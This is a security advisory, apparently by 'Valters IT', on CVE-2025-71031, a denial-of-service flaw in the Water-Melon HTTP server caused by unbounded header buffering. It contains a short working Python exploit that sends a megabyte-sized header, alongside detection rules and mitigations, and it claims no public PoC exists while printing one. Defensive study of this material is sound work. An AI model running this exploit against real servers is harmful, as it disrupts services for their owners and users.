CVE-2025-71031

Executive Summary

CVE-2025-71031 is a high-severity Denial of Service (DoS) vulnerability affecting the Water-Melon HTTP component, specifically in commit 9df9292 and earlier versions. The vulnerability stems from the absence of any maximum length enforcement on HTTP request headers. An unauthenticated attacker can send an excessively large request header, causing the server to allocate unbounded memory, leading to resource exhaustion and service unavailability. This vulnerability is classified under CWE-770 (Allocation of Resources Without Limits or Throttling) and maps to MITRE ATT&CK tactic T1499 (Endpoint Denial of Service). No public proof-of-concept (PoC) or exploit code is currently available, and no patch has been released by the vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The impact is confined to the vulnerable component.
• Confidentiality Impact: None (C:N) – No data is exposed.
• Integrity Impact: None (I:N) – No data is altered.
• Availability Impact: High (A:H) – The service can be completely disrupted.

Threat Level: High. The vulnerability is trivial to exploit and can cause immediate service disruption without authentication.

Deep Dive & Mechanics

The Water-Melon HTTP server component lacks input validation and resource limits on incoming HTTP request headers. When a client sends a request with an abnormally large header (e.g., a Cookie or User-Agent header containing megabytes of data), the server attempts to store the entire header in memory without any size check. This leads to uncontrolled memory consumption, eventually exhausting available RAM and causing the server process to crash or become unresponsive.

The vulnerability is rooted in the HTTP parsing logic, which reads header data into a buffer that grows dynamically without a cap. An attacker can exploit this by sending a single HTTP request with a header of arbitrary size, triggering a memory allocation failure or system OOM (Out-Of-Memory) killer.

Vulnerable vs. Patched Code

Vulnerable Code (commit 9df9292 and below):

// Example of vulnerable HTTP header parsing
char *header_buffer = malloc(INITIAL_SIZE);
int total_read = 0;
while (read(fd, header_buffer + total_read, CHUNK_SIZE) > 0) {
    total_read += CHUNK_SIZE;
    header_buffer = realloc(header_buffer, total_read + CHUNK_SIZE);
    // No check on total_read size
}

Patched Code (hypothetical fix):

// Example of patched HTTP header parsing with max length check
#define MAX_HEADER_SIZE 8192
char *header_buffer = malloc(MAX_HEADER_SIZE);
int total_read = 0;
while (total_read < MAX_HEADER_SIZE && read(fd, header_buffer + total_read, CHUNK_SIZE) > 0) {
    total_read += CHUNK_SIZE;
    if (total_read >= MAX_HEADER_SIZE) {
        // Reject request with 413 Payload Too Large
        send_error_response(fd, 413);
        free(header_buffer);
        return;
    }
    header_buffer = realloc(header_buffer, total_read + CHUNK_SIZE);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Deploy a vulnerable Water-Melon server (commit 9df9292) on a local VM or container.
2. Use a tool like netcat or a custom Python script to send oversized headers.

Exploit Script (Python):

import socket

def exploit(target_ip, target_port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    # Craft a request with an oversized header
    payload = b"GET / HTTP/1.1\r\n"
    payload += b"Host: " + target_ip.encode() + b"\r\n"
    payload += b"User-Agent: " + b"A" * 1000000 + b"\r\n"
    payload += b"\r\n"
    sock.send(payload)
    sock.close()

if __name__ == "__main__":
    exploit("192.168.1.100", 8080)

Execution:

• Run the script against the target server.
• Monitor server memory usage; it will spike and eventually cause the service to crash.

Blue Team (Defense)

Detection:

• Monitor for HTTP requests with abnormally large headers (e.g., >8KB).
• Use network intrusion detection systems (NIDS) to flag excessive header sizes.

Mitigation:

• Implement a reverse proxy (e.g., Nginx, HAProxy) with client_header_buffer_size and large_client_header_buffers limits.
• Apply rate limiting and connection throttling.
• Update to a patched version once available.

Indicators of Compromise (IOCs)

• Network Traffic: HTTP requests with headers exceeding 8KB in size.
• System Logs: Out-of-memory (OOM) killer events or process crashes for the Water-Melon server.
• Memory Usage: Sudden, sustained high memory consumption by the HTTP server process.
• File Artifacts: Core dumps or crash logs indicating memory allocation failures.

Detection Engineering

YARA Rule

rule CVE_2025_71031_DoS_Header_Overflow {
    meta:
        description = "Detects HTTP requests with oversized headers targeting Water-Melon server"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-71031"
    strings:
        $http_method = /(GET|POST|PUT|DELETE|HEAD|OPTIONS|PATCH|CONNECT|TRACE) \/ HTTP\/1\.[01]/
        $large_header = /[A-Za-z0-9\-]+: .{8193,}/
    condition:
        $http_method and #large_header > 0
}

Sigma Rule

title: CVE-2025-71031 - Water-Melon HTTP Header DoS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with headers exceeding 8KB, indicating potential DoS exploitation
author: Valters IT
date: 2025/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-71031
logsource:
    category: webserver
    product: water-melon
detection:
    selection:
        http.request.header.length: > 8192
    condition: selection
falsepositives:
    - Legitimate applications sending large headers (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-71031 - Water-Melon HTTP Header DoS Attempt"; flow:to_server; content:"|0d 0a|"; http_header_names; pcre:"/[A-Za-z0-9\-]+: .{8193,}/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the vulnerable Water-Melon server from untrusted networks.
2. Deploy a reverse proxy (e.g., Nginx, HAProxy) with header size limits:
   • Nginx: client_header_buffer_size 8k; large_client_header_buffers 4 8k;
   • HAProxy: http-request deny if { req.hdr_len gt 8192 }
3. Implement rate limiting to reduce the impact of repeated attacks.

Long-Term Fix:

• Apply a patch from the vendor once available (currently UNKNOWN).
• Modify the source code to enforce a maximum header size (e.g., 8KB) and return HTTP 413 (Payload Too Large) for oversized requests.

Monitoring:

• Enable logging of all HTTP request header sizes.
• Set up alerts for any request with headers >8KB.

Valters IT
Securing Digital Frontiers